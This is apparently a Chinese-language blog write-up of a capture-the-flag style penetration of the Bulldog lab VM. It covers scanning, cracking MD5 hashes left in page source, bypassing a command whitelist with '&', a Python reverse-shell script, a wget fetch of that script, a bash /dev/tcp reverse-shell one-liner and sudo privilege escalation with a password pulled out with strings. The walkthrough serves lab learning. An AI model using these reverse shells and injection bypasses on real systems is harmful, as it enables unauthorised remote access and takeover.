靶机渗透之Bulldog(五)

一、 主机发现

利用kali发现该靶机

netdiscover -I eth0 -r 192.168.56.102/24

在这里插入图片描述

二、服务识别

利用nmap扫描该靶机服务端口

nmap -sV 192.168.56.102 

在这里插入图片描述

三、漏洞利用

1.访问http://192.168.56.102/ 正常访问,尝试爆破子域名等
在这里插入图片描述

2.目录扫描dirb http://192.168.56.102/
在这里插入图片描述

3.发现http://192.168.56.102/admin/login,尝试弱口令登录,失败
在这里插入图片描述

4.发现http://192.168.56.102/dev/,然后访问,查看页面源码,可以看到注释有MD5
的字符串,尝试解密,解密出来bulldog 和 bulldoglover
在这里插入图片描述

5.尝试使用邮箱用户名登录,失败,尝试用邮箱的开头,成功登录
一组nick密码bulldog 二组sarah密码bulldoglover
在这里插入图片描述

6.发现http://192.168.56.102/dev/shell/ 访问

在这里插入图片描述

四、远程代码执行

解法一:
1.发现可能存在命令执行漏洞,尝试输入一些系统命令,发现对命令做了白名单限制,只允许给出的命令
2.尝试使用;执行多个命令,“;”被过滤失败,尝试使用&,&&,|等方式执行多个命令,成功。经过尝试,存在命令执行漏洞
在这里插入图片描述
3.获取反弹shell
a.测试机使用python命令搭建建议web服务(开启80端口)

python -m SimpleHTTPServer 80

在这里插入图片描述
b.在webshell上执行wget命令

pwd & wget http://192.168.56.101 #该IP是kali的

在这里插入图片描述

在这里插入图片描述
c.在kali的web服务的目录下编写shell.py文件

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.128",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

在这里插入图片描述
d.在webshell下载shell.py文件

  1. python -m SimpleHTTPServer 80
  2. ls & wget http://192.168.56.101/shell.py
  3. 使用python命令开启80端口,以获取目标文件,需在该文件所在的目录下,使用python命令(一定要在var/www/html)
    在这里插入图片描述
    在这里插入图片描述
    e.在测试机进行监听
nc -vnlp 1234

在这里插入图片描述
f.在webshell执行shell.py,成功获取反弹shell

ls & python shell.py

在这里插入图片描述

提权

a.进入/home目录下,查看是否有其他用户
在这里插入图片描述
b.进入bulldogadmin下,查看历史文件 ls -la
在这里插入图片描述
1.发现隐藏目录.hiddenadmindirectory
2.也可以使用ls -a查看隐藏文件
3.该目录下有两个文件,一个note提示,一个可执行文件
c.进入.hiddenadmindirectory利用strings查看可执行文件中的字符
strings customPermissionApp
在这里插入图片描述
1.可以得到疑似密码:SUPERultH、imatePASH、SWORDyouH、CANTget(这些密码可能与最高权限账号有关)
2.凭经验得密码:SUPERultimatePASSWORDyouCANTget
d.尝试提权 sudo -i
1.无法提权,需打开一个新的终端
2.django用户在sudo组
在这里插入图片描述
e.使用python命令打开一个终端,并进行提权

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -i

在这里插入图片描述
1.python命令打开新终端,虽显示“Permission denied”,但只是执行/bin/bash被拒绝,打开的是python命令下的终端,而不是/root下的终端
2.再次提权成功
在这里插入图片描述
解法二:
由于有echo命令,那么就好操作了
Kali开启监听端口nc -lvnp 6666
在shell界面输入:

echo “bash -i >& /dev/tcp/172.16.111.14/6666 0>&1″ | bash

获取反弹shell
在这里插入图片描述
提权:
1.查看用户cat /etc/passwd
在这里插入图片描述
2.查找bulldogadmin用户的文件:

find / -user bulldogadmin 2>/dev/null

在这里插入图片描述
发现值得关注的文件有:一个是note,一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
在这里插入图片描述
3. SUPERultHimatePASHSWORDyouHCANTget 尝试去掉其中的H
SUPERultimatePASSWORDyouCANTget
执行命令:

python -c 'import pty;pty.spawn("/bin/bash")'

尝试密码:sudo su 提权成功

五、总结:

首先要爆破出admin和dev页面,利用解密MD5得到的密码登录进系统。然后绕过bulldog的系统限制,反弹shell到kali。当然最重要的是root提权,这方面我做的不够好,有些命令不懂,还要去查的网上的资料。Shell反弹和对于linux系统命令掌握的还是太少,以后要多学习,多记。总之,在渗透测试上还有很长的路要走。
解法二获得shell不稳定 不知道是什么问题

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值